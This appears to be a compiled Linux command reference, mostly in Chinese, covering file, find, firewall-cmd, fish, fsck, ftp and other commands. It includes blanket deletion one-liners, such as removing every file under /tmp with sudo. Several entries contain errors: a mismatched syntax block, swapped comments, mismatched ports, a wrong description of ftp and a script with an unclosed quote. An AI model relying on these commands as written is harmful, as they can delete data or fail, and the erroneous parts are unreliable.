             want a newline, see the -r option.)

     -l, --list
             Print information about the strength of each magic pattern.

     -L, --dereference
             option causes symlinks to be followed, as the like-named option in ls(1) (on systems that support symbolic links).
             This is the default if the environment variable POSIXLY_CORRECT is defined.

     -l      Shows sorted patterns list in the order which is used for the matching.

     -m, --magic-file magicfiles
             Specify an alternate list of files and directories containing magic.  This can be a single item, or a colon-separated
             list.  If a compiled magic file is found alongside a file or directory, it will be used instead.

     -N, --no-pad
             Don't pad filenames so that they align in the output.

     -n, --no-buffer
             Force stdout to be flushed after checking each file.  This is only useful if checking a list of files.  It is intended
             to be used by programs that want filetype output from a pipe.

     -p, --preserve-date
             On systems that support utime(3) or utimes(2), attempt to preserve the access time of files analyzed, to pretend that
             file never read them.

     -r, --raw
             Don't translate unprintable characters to \ooo.  Normally file translates unprintable characters to their octal repre‐
             sentation.

     -s, --special-files
             Normally, file only attempts to read and determine the type of argument files which stat(2) reports are ordinary files.
             This prevents problems, because reading special files may have peculiar consequences.  Specifying the -s option causes
             file to also read argument files which are block or character special files.  This is useful for determining the
             filesystem types of the data in raw disk partitions, which are block special files.  This option also causes file to
             disregard the file size as reported by stat(2) since on some systems it reports a zero size for raw disk partitions.

     -v, --version
             Print the version of the program and exit.

     -z, --uncompress
             Try to look inside compressed files.

     -0, --print0
             Output a null character ‘\0’ after the end of the filename.  Nice to cut(1) the output.  This does not affect the sepa‐
             rator which is still printed.

     --help  Print a help message and exit.

FILES
     /usr/share/misc/magic.mgc  Default compiled list of magic.
     /usr/share/misc/magic      Directory containing default magic files.

ENVIRONMENT
     The environment variable MAGIC can be used to set the default magic file name.  If that variable is set, then file will not
     attempt to open $HOME/.magic.  file adds “.mgc” to the value of this variable as appropriate.  However, file has to exist in
     order for file.mime to be considered.  The environment variable POSIXLY_CORRECT controls (on systems that support symbolic
     links), whether file will attempt to follow symlinks or not.  If set, then file follows symlink, otherwise it does not.  This
     is also controlled by the -L and -h options.

SEE ALSO
     magic(5), hexdump(1), od(1), strings(1),

STANDARDS CONFORMANCE
     This program is believed to exceed the System V Interface Definition of FILE(CMD), as near as one can determine from the vague
     language contained therein.  Its behavior is mostly compatible with the System V program of the same name.  This version knows
     more magic, however, so it will produce different (albeit more accurate) output in many cases.

     The one significant difference between this version and System V is that this version treats any white space as a delimiter, so
     that spaces in pattern strings must be escaped.  For example,

           >10     string  language impress        (imPRESS data)

     in an existing magic file would have to be changed to

           >10     string  language\ impress       (imPRESS data)

     In addition, in this version, if a pattern string contains a backslash, it must be escaped.  For example

           0       string          \begindata      Andrew Toolkit document

     in an existing magic file would have to be changed to

           0       string          \\begindata     Andrew Toolkit document

     SunOS releases 3.2 and later from Sun Microsystems include a file command derived from the System V one, but with some exten‐
     sions.  This version differs from Sun's only in minor ways.  It includes the extension of the ‘&’ operator, used as, for exam‐
     ple,

           >16     long&0x7fffffff >0              not stripped

MAGIC DIRECTORY
     The magic file entries have been collected from various sources, mainly USENET, and contributed by various authors.  Christos
     Zoulas (address below) will collect additional or corrected magic file entries.  A consolidation of magic file entries will be
     distributed periodically.

     The order of entries in the magic file is significant.  Depending on what system you are using, the order that they are put
     together may be incorrect.  If your old file command uses a magic file, keep the old magic file around for comparison purposes
     (rename it to /usr/share/misc/magic.orig).

EXAMPLES
           $ file file.c file /dev/{wd0a,hda}
           file.c:   C program text
           file:     ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
                     dynamically linked (uses shared libs), stripped
           /dev/wd0a: block special (0/0)
           /dev/hda: block special (3/0)

           $ file -s /dev/wd0{b,d}
           /dev/wd0b: data
           /dev/wd0d: x86 boot sector

           $ file -s /dev/hda{,1,2,3,4,5,6,7,8,9,10}
           /dev/hda:   x86 boot sector
           /dev/hda1:  Linux/i386 ext2 filesystem
           /dev/hda2:  x86 boot sector
           /dev/hda3:  x86 boot sector, extended partition table
           /dev/hda4:  Linux/i386 ext2 filesystem
           /dev/hda5:  Linux/i386 swap file
           /dev/hda6:  Linux/i386 swap file
           /dev/hda7:  Linux/i386 swap file
           /dev/hda8:  Linux/i386 swap file
           /dev/hda9:  empty
           /dev/hda10: empty

           $ file -i file.c file /dev/{wd0a,hda}
           file.c:      text/x-c
           file:        application/x-executable
           /dev/hda:    application/x-not-regular-file
           /dev/wd0a:   application/x-not-regular-file

HISTORY
     There has been a file command in every UNIX since at least Research Version 4 (man page dated November, 1973).  The System V
     version introduced one significant major change: the external list of magic types.  This slowed the program down slightly but
     made it a lot more flexible.

     This program, based on the System V version, was written by Ian Darwin ⟨ian@darwinsys.com⟩ without looking at anybody else's
     source code.

     John Gilmore revised the code extensively, making it better than the first version.  Geoff Collyer found several inadequacies
     and provided some magic file entries.  Contributions by the ‘&’ operator by Rob McMahon, ⟨cudcv@warwick.ac.uk⟩, 1989.

     Guy Harris, ⟨guy@netapp.com⟩, made many changes from 1993 to the present.  1989.

     Primary development and maintenance from 1990 to the present by Christos Zoulas ⟨christos@astron.com⟩.

     Altered by Chris Lowth ⟨chris@lowth.com⟩, 2000: handle the -i option to output mime type strings, using an alternative magic
     file and internal logic.

     Altered by Eric Fischer ⟨enf@pobox.com⟩, July, 2000, to identify character codes and attempt to identify the languages of non-
     ASCII files.

     Altered by Reuben Thomas ⟨rrt@sc3d.org⟩, 2007-2011, to improve MIME support, merge MIME and non-MIME magic, support directories
     as well as files of magic, apply many bug fixes, update and fix a lot of magic, improve the build system, improve the documen‐
     tation, and rewrite the Python bindings in pure Python.

     The list of contributors to the ‘magic’ directory (magic files) is too long to include here.  You know who you are; thank you.
     Many contributors are listed in the source files.

LEGAL NOTICE
     Copyright (c) Ian F. Darwin, Toronto, Canada, 1986-1999.  Covered by the standard Berkeley Software Distribution copyright; see
     the file COPYING in the source distribution.

     The files tar.h and is_tar.c were written by John Gilmore from his public-domain tar(1) program, and are not covered by the
     above license.

RETURN CODE
     file returns 0 on success, and non-zero on error.

     If the file named by the file operand does not exist, cannot be read, or the type of the file named by the file operand cannot
     be determined, this is not be considered an error that affects the exit status.

BUGS
     Please report bugs and send patches to the bug tracker at http://bugs.gw.com/ or the mailing list at ⟨file@mx.gw.com⟩.

TODO
     Fix output so that tests for MIME and APPLE flags are not needed all over the place, and actual output is only done in one
     place. This needs a design. Suggestion: push possible outputs on to a list, then pick the last-pushed (most specific, one
     hopes) value at the end, or use a default if the list is empty. This should not slow down evaluation.

     Continue to squash all magic bugs. See Debian BTS for a good source.

     Store arbitrarily long strings, for example for %s patterns, so that they can be printed out. Fixes Debian bug #271672. Would
     require more complex store/load code in apprentice.

     Add syntax for relative offsets after current level (Debian bug #466037).

     Make file -ki work, i.e. give multiple MIME types.

     Add a zip library so we can peek inside Office2007 documents to figure out what they are.

     Add an option to print URLs for the sources of the file descriptions.

AVAILABILITY
     You can obtain the original author's latest version by anonymous FTP on ftp.astron.com in the directory
     /pub/file/file-X.YZ.tar.gz.

BSD                                                       October 17, 2011                                                       BSD
~

</pre>
<pre>

-`mtime`

```bash
[root@vms01 test]# date
Tue Sep 18 04:30:49 EDT 2018

[root@vms01 test]# touch -d 2018-09-17 17

[root@vms01 test]# touch -d 2018-09-16 16

[root@vms01 test]# find ./ -mtime +1
./16

[root@vms01 test]# 
```

-`exec`

```bash
find /opt/tomcat8/log -ctime +15 -exec rm -rf  {} \;

find / -name *zookeeper* -exec cp -a {} 

```

* 删除空文件

```bash
sudo find /home -type f -size 0 -exec rm {} \;
```

* 删除临时文件

```bash
sudo find /tmp -type f -exec rm {} \;
```
</pre>
!!简介
:<div>
findfs
===

标签或UUID查找文件系统

</div>

!! 补充说明

:<div>


"findfs命令" 依据卷标(Label)和UUID查找文件系统所对应的设备文件。findfs命令会搜索整个磁盘,看是否有匹配的标签或者UUID没有,如果有则打印到标注输出上。findfs命令也是e2fsprogs项目的一部分。

</div>

!! 语法  

:<div>


```
findfs(参数)
```

</div>

!! 参数  

:<div>


`LABEL=<卷标>`或者`UUID=<UUID>`:按照卷标或者UUID查询文件系统。

</div>

!! 实例  

:<div>


通过卷标名查找对应的文件系统:

```
findfs LABEL=/boot
/dev/hda1
```


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
finger
===

用于查找并显示用户信息

</div>

!! 补充说明

:<div>


"finger命令" 用于查找并显示用户信息。包括本地与远端主机的用户皆可,帐号名称没有大小写的差别。单独执行finger指令,它会显示本地主机现在所有的用户的登陆信息,包括帐号名称,真实姓名,登入终端机,闲置时间,登入时间以及地址和电话。

</div>

!! 语法  

:<div>


```
finger(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-l:列出该用户的帐号名称,真实姓名,用户专属目录,登入所用的Shell,登入时间,转信地址,电子邮件状态,还有计划文件和方案文件内容;
-m:排除查找用户的真实姓名;
-s:列出该用户的帐号名称,真实姓名,登入终端机,闲置时间,登入时间以及地址和电话;
-p:列出该用户的帐号名称,真实姓名,用户专属目录,登入所用的Shell,登入时间,转信地址,电子邮件状态,但不显示该用户的计划文件和方案文件内容。
```

不指定finger的选项如果提供操作者的话,缺省设为`-l`输出风格,否则为`-s`风格,注意在两种格式中,如果信息不足,都有一些域可能丢失,如果没有指定参数finger会为当前登录的每个用户打印一个条目。

</div>

!! 参数  

:<div>


用户名:指定要查询信息的用户。

</div>

!! 实例  

:<div>


在计算机上使用finger:

```
[root@localhost root]# finger
login Name Tty Idle Login time Office Office Phone
root root tty1 2 Dec 18 13
root root pts/0 1 Dec 18 13
root root *pts/1 Dec 18 13
```

如果要查询远程机上的用户信息,需要在用户名后面接`@主机名`,采用`用户名@主机名`的格式,不过要查询的网络主机需要运行finger守护进程的支持。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
firewall-cmd
===

Linux上新用的防火墙软件,跟iptables差不多的工具。

</div>

!! 补充说明

:<div>


firewall-cmd 是 firewalld的字符界面管理工具,firewalld是centos7的一大特性,最大的好处有两个:支持动态更新,不用重启服务;第二个就是加入了防火墙的“zone”概念。

firewalld跟iptables比起来至少有两大好处:

1. firewalld可以动态修改单条规则,而不需要像iptables那样,在修改了规则后必须得全部刷新才可以生效。
2. firewalld在使用上要比iptables人性化很多,即使不明白“五张表五条链”而且对TCP/IP协议也不理解也可以实现大部分功能。

firewalld自身并不具备防火墙的功能,而是和iptables一样需要通过内核的netfilter来实现,也就是说firewalld和 iptables一样,他们的作用都是用于维护规则,而真正使用规则干活的是内核的netfilter,只不过firewalld和iptables的结 构以及使用方法不一样罢了。



</div>

!! 语法  

:<div>


```
finger(选项)(参数)
```


</div>

!! 实例  

:<div>


```bash
# 安装firewalld
yum install firewalld firewall-config


systemctl start  firewalld # 启动
systemctl status firewalld # 或者 firewall-cmd --state 查看状态
systemctl disable firewalld # 停止
systemctl stop firewalld  # 禁用

# 关闭服务的方法
# 你也可以关闭目前还不熟悉的FirewallD防火墙,而使用iptables,命令如下:

systemctl stop firewalld
systemctl disable firewalld
yum install iptables-services
systemctl start iptables
systemctl enable iptables
```

配置firewalld

```bash
firewall-cmd --version  # 查看版本
firewall-cmd --help     # 查看帮助

# 查看设置:
firewall-cmd --state  # 显示状态
firewall-cmd --get-active-zones  # 查看区域信息
firewall-cmd --get-zone-of-interface=eth0  # 查看指定接口所属区域
firewall-cmd --panic-on  # 拒绝所有包
firewall-cmd --panic-off  # 取消拒绝状态
firewall-cmd --query-panic  # 查看是否拒绝

firewall-cmd --reload # 更新防火墙规则
firewall-cmd --complete-reload
# 两者的区别就是第一个无需断开连接,就是firewalld特性之一动态添加规则,第二个需要断开连接,类似重启服务


# 将接口添加到区域,默认接口都在public
firewall-cmd --zone=public --add-interface=eth0
# 永久生效再加上 --permanent 然后reload防火墙
 
# 设置默认接口区域,立即生效无需重启
firewall-cmd --set-default-zone=public

# 查看所有打开的端口:
firewall-cmd --zone=dmz --list-ports

# 加入一个端口到区域:
firewall-cmd --zone=dmz --add-port=8080/tcp
# 若要永久生效方法同上
 
# 打开一个服务,类似于将端口可视化,服务需要在配置文件中添加,/etc/firewalld 目录下有services文件夹,这个不详细说了,详情参考文档
firewall-cmd --zone=work --add-service=smtp
 
# 移除服务
firewall-cmd --zone=work --remove-service=smtp

# 显示支持的区域列表
firewall-cmd --get-zones

# 设置为家庭区域
firewall-cmd --set-default-zone=home

# 查看当前区域
firewall-cmd --get-active-zones

# 设置当前区域的接口
firewall-cmd --get-zone-of-interface=enp03s

# 显示所有公共区域(public)
firewall-cmd --zone=public --list-all

# 临时修改网络接口(enp0s3)为内部区域(internal)
firewall-cmd --zone=internal --change-interface=enp03s

# 永久修改网络接口enp03s为内部区域(internal)
firewall-cmd --permanent --zone=internal --change-interface=enp03s
```

服务管理

```bash
# 显示服务列表  
Amanda, FTP, Samba和TFTP等最重要的服务已经被FirewallD提供相应的服务,可以使用如下命令查看:

firewall-cmd --get-services

# 允许SSH服务通过
firewall-cmd --enable service=ssh

# 禁止SSH服务通过
firewall-cmd --disable service=ssh

# 打开TCP的8080端口
firewall-cmd --enable ports=8080/tcp

# 临时允许Samba服务通过600秒
firewall-cmd --enable service=samba --timeout=600

# 显示当前服务
firewall-cmd --list-services

# 添加HTTP服务到内部区域(internal)
firewall-cmd --permanent --zone=internal --add-service=http
firewall-cmd --reload     # 在不改变状态的条件下重新加载防火墙
```

端口管理

```bash
# 打开443/TCP端口
firewall-cmd --add-port=443/tcp

# 永久打开3690/TCP端口
firewall-cmd --permanent --add-port=3690/tcp

# 永久打开端口好像需要reload一下,临时打开好像不用,如果用了reload临时打开的端口就失效了
# 其它服务也可能是这样的,这个没有测试
firewall-cmd --reload

# 查看防火墙,添加的端口也可以看到
firewall-cmd --list-all
```

直接模式

```bash
# FirewallD包括一种直接模式,使用它可以完成一些工作,例如打开TCP协议的9999端口

firewall-cmd --direct -add-rule ipv4 filter INPUT 0 -p tcp --dport 9000 -j ACCEPT
firewall-cmd --reload
```

"控制端口 / 服务"

可以通过两种方式控制端口的开放,一种是指定端口号另一种是指定服务名。虽然开放 http 服务就是开放了 80 端口,但是还是不能通过端口号来关闭,也就是说通过指定服务名开放的就要通过指定服务名关闭;通过指定端口号开放的就要通过指定端口号关闭。还有一个要注意的就是指定端口的时候一定要指定是什么协议,tcp 还是 udp。知道这个之后以后就不用每次先关防火墙了,可以让防火墙真正的生效。

```bash
firewall-cmd --add-service=mysql        # 开放mysql端口
firewall-cmd --remove-service=http      # 阻止http端口
firewall-cmd --list-services            # 查看开放的服务
firewall-cmd --add-port=3306/tcp        # 开放通过tcp访问3306
firewall-cmd --remove-port=80tcp        # 阻止通过tcp访问3306
firewall-cmd --add-port=233/udp         # 开放通过udp访问233
firewall-cmd --list-ports               # 查看开放的端口
```

伪装 IP

```bash
firewall-cmd --query-masquerade # 检查是否允许伪装IP
firewall-cmd --add-masquerade   # 允许防火墙伪装IP
firewall-cmd --remove-masquerade# 禁止防火墙伪装IP
```

"端口转发"

端口转发可以将指定地址访问指定的端口时,将流量转发至指定地址的指定端口。转发的目的如果不指定 ip 的话就默认为本机,如果指定了 ip 却没指定端口,则默认使用来源端口。
如果配置好端口转发之后不能用,可以检查下面两个问题:
1. 比如我将 80 端口转发至 8080 端口,首先检查本地的 80 端口和目标的 8080 端口是否开放监听了
2. 其次检查是否允许伪装 IP,没允许的话要开启伪装 IP

```bash
firewall-cmd --add-forward-port=port=80:proto=tcp:toport=8080   # 将80端口的流量转发至8080
firewall-cmd --add-forward-port=port=80:proto=tcp:toaddr=192.168.0.1 # 将80端口的流量转发至192.168.0.1
firewall-cmd --add-forward-port=port=80:proto=tcp:toaddr=192.168.0.1:toport=8080 # 将80端口的流量转发至192.168.0.1的8080端口
```

1. 当我们想把某个端口隐藏起来的时候,就可以在防火墙上阻止那个端口访问,然后再开一个不规则的端口,之后配置防火墙的端口转发,将流量转发过去。
2. 端口转发还可以做流量分发,一个防火墙拖着好多台运行着不同服务的机器,然后用防火墙将不同端口的流量转发至不同机器。
</div>
* 
:<div>

```bash

1、firewalld的基本使用
启动: systemctl start firewalld
关闭: systemctl stop firewalld
查看状态: systemctl status firewalld 
开机禁用  : systemctl disable firewalld
开机启用  : systemctl enable firewalld
 
 
2.systemctl是CentOS7的服务管理工具中主要的工具,它融合之前service和chkconfig的功能于一体。
启动一个服务:systemctl start firewalld.service
关闭一个服务:systemctl stop firewalld.service
重启一个服务:systemctl restart firewalld.service
显示一个服务的状态:systemctl status firewalld.service
在开机时启用一个服务:systemctl enable firewalld.service
在开机时禁用一个服务:systemctl disable firewalld.service
查看服务是否开机启动:systemctl is-enabled firewalld.service
查看已启动的服务列表:systemctl list-unit-files|grep enabled
查看启动失败的服务列表:systemctl --failed

3.配置firewalld-cmd

查看版本: firewall-cmd --version
查看帮助: firewall-cmd --help
显示状态: firewall-cmd --state
查看所有打开的端口: firewall-cmd --zone=public --list-ports
更新防火墙规则: firewall-cmd --reload
查看区域信息:  firewall-cmd --get-active-zones
查看指定接口所属区域: firewall-cmd --get-zone-of-interface=eth0
拒绝所有包:firewall-cmd --panic-on
取消拒绝状态: firewall-cmd --panic-off
查看是否拒绝: firewall-cmd --query-panic
 
那怎么开启一个端口呢
添加
firewall-cmd --zone=public --add-port=80/tcp --permanent    (--permanent永久生效,没有此参数重启后失效)
重新载入
firewall-cmd --reload
查看
firewall-cmd --zone= public --query-port=80/tcp
删除
firewall-cmd --zone= public --remove-port=80/tcp --permanent
```
</div>
!!简介
:<div>
fishshell
===

比 bash 更好用的 shell

</div>

!! 安装

:<div>


```bash
# Ubuntu 和 Debian 的安装方法。
sudo apt-get install fish
# Mac 的安装方法。
brew install fish
```

</div>

!! 启动与帮助

:<div>


由于 `Fish` 的语法与 `Bash` 有很大差异,`Bash` 脚本一般不兼容。因此,建议不要将 `Fish` 设为默认 `Shell`,而是每次手动启动它。

```bash
# 安装完成后,就可以启动 Fish。
$ fish
# 使用过程中,如果需要帮助,可以输入 help 命令
$ help
```

</div>

!! 彩色显示

:<div>


```bash
# 无效命令为红色
$ mkd
# 有效命令为蓝色
$ mkdir
# 有效路径会有下划线。如果没有下划线,你就知道这个路径不存在。
$ cat ~/somefi 
```

</div>

!! 自动建议

:<div>


Fish 会自动在光标后面给出建议,表示可能的选项,颜色为灰色。如果采纳建议,可以按下 `→` 或 `Control + F` 。如果只采纳一部分,可以按下 `Alt + →`。

```bash
$ /bin/hostname # 命令建议
$ grep --ignore-case # 参数建议
$ ls node_modules # 路径建议
```

</div>

!! 自动补全

:<div>


输入命令时,`Fish` 会自动显示匹配的上一条历史记录。如果没有匹配的历史记录,`Fish` 会猜测可能的结果,自动补全各种输入。比如,输入 `pyt` 再按下 `Tab` ,就会自动补全为 `python` 命令。

`Fish` 还可以自动补全 `Git` 分支。

</div>

!! 脚本语法

:<div>


</div>

!! if 语句

:<div>


```bash
if grep fish /etc/shells
    echo Found fish
else if grep bash /etc/shells
    echo Found bash
else
    echo Got nothing
end
```

</div>

!! switch 语句

:<div>


```bash
switch (uname)
case Linux
    echo Hi Tux!
case Darwin
    echo Hi Hexley!
case FreeBSD NetBSD DragonFly
    echo Hi Beastie!
case '*'
    echo Hi, stranger!
end
```

</div>

!! while 循环

:<div>


```bash
while true
    echo "Loop forever"
end
```

</div>

!! for 循环

:<div>


```bash
for file in *.txt
    cp $file $file.bak
end
```

</div>

!! 函数

:<div>


`Fish` 的函数用来封装命令,或者为现有的命令起别名。

```bash
function ll
    ls -lhG $argv
end
```

上面代码定义了一个 `ll` 函数。命令行执行这个函数以后,就可以用 `ll` 命令替代 `ls -lhG`。其中,变量 `$argv` 表示函数的参数。

```bash
function ls
    command ls -hG $argv
end
```

上面的代码重新定义 `ls` 命令。注意,函数体内的 `ls` 之前,要加上 `command`,否则会因为无限循环而报错。

</div>

!! 提示符

:<div>


`fish_prompt` 函数用于定义命令行提示符(prompt)。

```bash
function fish_prompt
  set_color purple
  date "+%m/%d/%y"
  set_color FF0
  echo (pwd) '>'
  set_color normal
end
```

执行上面的函数以后,你的命令行提示符就会变成下面这样。

```
02/06/13
/home/tutorial > 
```

</div>

!! 配置

:<div>


Fish 的配置文件是 `~/.config/fish/config.fish`,每次 `Fish` 启动,就会自动加载这个文件。Fish 还提供 Web 界面配置该文件。

```bash
$ fish_config # 浏览器打开 Web 界面配置
```

Running Commands: 兼容 bash 等shell的命令执行方式  
Getting Help: `help/man cmd -> browser/terminal`  
Syntax Highlighting: 实时检查命令是否正确  
Wildcards: 支持缩写  `*` 递归 匹配  
Pipes and Redirections: 使用 `^` 代表 stderr  
Autosuggestions: 自动建议, 可以使用 `Ctrl-f / ->` 来补全  
Tab Completions: 更强大的 tab 补全  
Variables: 使用 set 设置  
Exit Status: 使用 `echo $status` 替代 `$?`  
Exports (Shell Variables)  
Lists: all variables in fish are really lists  
Command Substitutions: 使用 `(cmd)` 来执行命令, 而不是 反引号、`$()`  
Combiners (And, Or, Not): 不支持使用符合来表示逻辑运算  
Functions:使用 `$argv` 替代 `$1`  
Conditionals (If, Else, Switch) / Functions / Loops: 更人性化的写法(参考 py)  
Prompt: `function fish_prompt` 实现  
Startup (Where's .bashrc?): `~/.config/fish/config.fish`,更好的方式是 autoloading-function、universal-variables  
Autoloading Functions: ` ~/.config/fish/functions/.`  
Universal Variables:a variable whose value is shared across all instances of fish  

```bash
set name 'czl' # 设置变量,替代 name=czl
echo $name
echo $status # exit status,替代 $?
env # 环境变量
set -x MyVariable SomeValue # 替代 export
set -e MyVariable
set PATH $PATH /usr/local/bin # 使用 lists 记录 PATH
set -U fish_user_paths /usr/local/bin $fish_user_paths # 永久生效
touch "testing_"(date +%s)".txt" # command subtitution,替代 `date +%s`
cp file.txt file.txt.bak; and echo 'back success'; or echo 'back fail' # combiner
functions # 列出 fish 下定义的函数
```

</div>

!! 参考资料

:<div>


- [fish-shell官网](http://fishshell.com)
</div>
!!简介
:<div>
fmt
===

读取文件后优化处理并输出

</div>

!! 补充说明

:<div>


"fmt命令" 读取文件的内容,根据选项的设置对文件格式进行简单的优化处理,并将结果送到标准输出设备。

</div>

!! 语法  

:<div>


```
fmt(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-c或--crown-margin:每段前两列缩排;
-p<列起始字符串>或-prefix=<列起始字符串>:仅合并含有指定字符串的列,通常运用在程序语言的注解方面;
-s或--split-only:只拆开字数超出每列字符数的列,但不合并字数不足每列字符数的列;
-t或--tagged-paragraph:每列前两列缩排,但第1列和第2列的缩排格式不同;
-u或--uniform-spacing:每列字符之间都以一个空格字符间隔,每个句子之间则两个空格字符分隔;
-w<每列字符数>或--width=<每列字符数>或-<每列字符数>:设置每列的最大字符数。
```

</div>

!! 参数  

:<div>


指定要优化格式的文件。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
fold
===

控制文件内容输出时所占用的屏幕宽度

</div>

!! 补充说明

:<div>


"fold命令" 用于控制文件内容输出时所占用的屏幕宽度。fold命令会从指定的文件里读取内容,将超过限定列宽的列加入增列字符后,输出到标准输出设备。若不指定任何文件名称,或是所给予的文件名为“-”,则fold指令会从标准输入设备读取数据。

</div>

!! 语法  

:<div>


```
fold(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-b或——bytes:以Byte为单位计算列宽,而非采用行数编号为单位;
-s或——spaces:以空格字符作为换列点;
-w<每列行数>或--width<每列行数>:设置每列的最大行数。
```

</div>

!! 参数  

:<div>


文件:指定要显示内容的文件。


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
;列表for循环
:<pre>

;列表for循环


```bash

#!/bin/bash
 
for varible1 in {1..5}
do
     echo "Hello, Welcome $varible1 times "
done

```
;02. 设置步长

```bash
#!/bin/bash
sum=0
 
for i in {1..100..2}
do
    let "sum+=i"
done

```

;操作字符串数组

```bash

#!/bin/bash
 
for file in $( ls )
do
   echo "file: $file"
done
```

;操作参数列表

```bash

#!/bin/bash
 
echo "number of arguments is $#"
 
echo "What you input is: "
 
for argument in "$@"
do
    echo "$argument"
done

```
</pre>

;非列表
:<pre>

```bash
#!/bin/bash
 
echo "number of arguments is $#"
 
echo "What you input is: "
 
for argument
do
    echo "$argument"
done

```
</pre>

;类C风格
:<pre>

```bash
#!/bin/bash
for((integer = 1; integer <= 5; integer++))
do
    echo "$integer"
done

for((sum=0,i=1;i<=100;i++));do
     let sum+=i
done
echo $sum
```
</pre>


!实例
:<pre>

```bash
#打印行
#$1=单字符
#$2=行长度
function color_print()
{ 
    lenght=$2
    char=$1
    for j in $(seq $lenght)
    do
        let color=$RANDOM%10+30
        let blink=$RANDOM%5+1
        case $blink in 
        3|4|5)
            echo -e "\033[;${color}m${char}\033[0m\c"
            ;;
        1|2)
            echo -e "\033[5;${color}m${char}\033[0m\c
            ;;
        esac
    done
}


function pline()
{
    lenght=$2
    char=$1
    for j in $(seq $lenght)
    do
        echo -e "${char}\c"
    done

}
#打印等腰三角形
function dy()
{
    read -p "lines:" lines
    for l in $(seq $lines)
    do
        let space=lines-l
        pline " " $space
        let char=2*l-1
        #pline "*" $char 
        color_print "*" $char
        echo
    done
}
#jx2

#pline "8" 8 
dy
sh                                                   
```
</pre>
```
Usage:
 free [options]

Options:
 -b, --bytes         show output in bytes
 -k, --kilo          show output in kilobytes
 -m, --mega          show output in megabytes
 -g, --giga          show output in gigabytes
     --tera          show output in terabytes
 -h, --human         show human-readable output
     --si            use powers of 1000 not 1024
 -l, --lohi          show detailed low and high memory statistics
 -t, --total         show total for RAM + swap
 -s N, --seconds N   repeat printing every N seconds
 -c N, --count N     repeat printing N times, then exit
 -w, --wide          wide output

     --help     display this help and exit
 -V, --version  output version information and exit

For more details see free(1).

```
!!简介
:<div>
fsck
===

检查并且试图修复文件系统中的错误

</div>

!! 补充说明

:<div>


"fsck命令" 被用于检查并且试图修复文件系统中的错误。当文件系统发生错误四化,可用fsck指令尝试加以修复。

</div>

!! 语法  

:<div>


```
fsck(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-a:自动修复文件系统,不询问任何问题;
-A:依照/etc/fstab配置文件的内容,检查文件内所列的全部文件系统;
-N:不执行指令,仅列出实际执行会进行的动作;
-P:当搭配"-A"参数使用时,则会同时检查所有的文件系统;
-r:采用互动模式,在执行修复时询问问题,让用户得以确认并决定处理方式;
-R:当搭配"-A"参数使用时,则会略过/目录的文件系统不予检查;
-s:依序执行检查作业,而非同时执行;
-t<文件系统类型>:指定要检查的文件系统类型;
-T:执行fsck指令时,不显示标题信息;
-V:显示指令执行过程。
```

</div>

!! 参数  

:<div>


文件系统:指定要查看信息的文件系统。

</div>

!! 实例  

:<div>


linux的文件系统损坏会导致linux不正常关机,出错的时候如果系统告诉你是哪一块硬盘的分区有问题,比如是`/dev/hda2`,接着用如下的命令去对付它:

```
fsck -y /dev/hda2
```

结束后使用reboot命令重启系统这样就好了!

如果不知道时哪个地方出了问题,可以直接:

```
fsck
```

在随后的多个确认对话框中输入`:y`

结束后同样使用reboot命令重启系统这样就好了!


<!-- Linux命令行搜索引擎:https://jaywcjlove.github.io/linux-command/ -->
</div>
!!简介
:<div>
ftp
===

用来设置文件系统相关功能

</div>

!! 补充说明

:<div>


"ftp命令" 用来设置文件系统相关功能。ftp服务器在网上较为常见,Linux ftp命令的功能是用命令的方式来控制在本地机和远程机之间传送文件,这里详细介绍Linux ftp命令的一些经常使用的命令,相信掌握了这些使用Linux进行ftp操作将会非常容易。

</div>

!! 语法  

:<div>


```
ftp(选项)(参数)
```

</div>

!! 选项  

:<div>


```
-d:详细显示指令执行过程,便于排错或分析程序执行的情况;
-i:关闭互动模式,不询问任何问题;
-g:关闭本地主机文件名称支持特殊字符的扩充特性;
-n:不使用自动登录;
-v:显示指令执行过程。
```

</div>

!! 参数  

:<div>


主机:指定要连接的FTP服务器的主机名或ip地址。

</div>

!! 实例  

:<div>


```bash
ftp> ascii  # 设定以ASCII方式传送文件(缺省值) 
ftp> bell   # 每完成一次文件传送,报警提示. 
ftp> binary # 设定以二进制方式传送文件. 
ftp> bye    # 终止主机FTP进程,并退出FTP管理方式. 
ftp> case   # 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母. 
ftp> cd     # 同UNIX的CD命令. 
ftp> cdup   # 返回上一级目录. 
ftp> chmod  # 改变远端主机的文件权限. 
ftp> close  # 终止远端的FTP进程,返回到FTP命令状态, 所有的宏定义都被删除. 
ftp> delete # 删除远端主机中的文件. 
ftp> dir [remote-directory] [local-file] # 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件. 
ftp> get [remote-file] [local-file] # 从远端主机中传送至本地主机中. 
ftp> help [command] # 输出命令的解释. 
ftp> lcd # 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录. 
ftp> ls [remote-directory] [local-file] # 同DIR. 
ftp> macdef                 # 定义宏命令. 
ftp> mdelete [remote-files] # 删除一批文件. 
ftp> mget [remote-files]    # 从远端主机接收一批文件至本地主机. 
ftp> mkdir directory-name   # 在远端主机中建立目录. 
ftp> mput local-files # 将本地主机中一批文件传送至远端主机. 
ftp> open host [port] # 重新建立一个新的连接. 
ftp> prompt           # 交互提示模式. 
ftp> put local-file [remote-file] # 将本地一个文件传送至远端主机中. 
ftp> pwd  # 列出当前远端主机目录. 
ftp> quit # 同BYE. 
ftp> recv remote-file [local-file] # 同GET. 
ftp> rename [from] [to]     # 改变远端主机中的文件名. 
ftp> rmdir directory-name   # 删除远端主机中的目录. 
ftp> send local-file [remote-file] # 同PUT. 
ftp> status   # 显示当前FTP的状态. 
ftp> system   # 显示远端主机系统类型. 
ftp> user user-name [password] [account] # 重新以别的用户名登录远端主机. 
ftp> ? [command] # 同HELP. [command]指定需要帮助的命令名称。如果没有指定 command,ftp 将显示全部命令的列表。
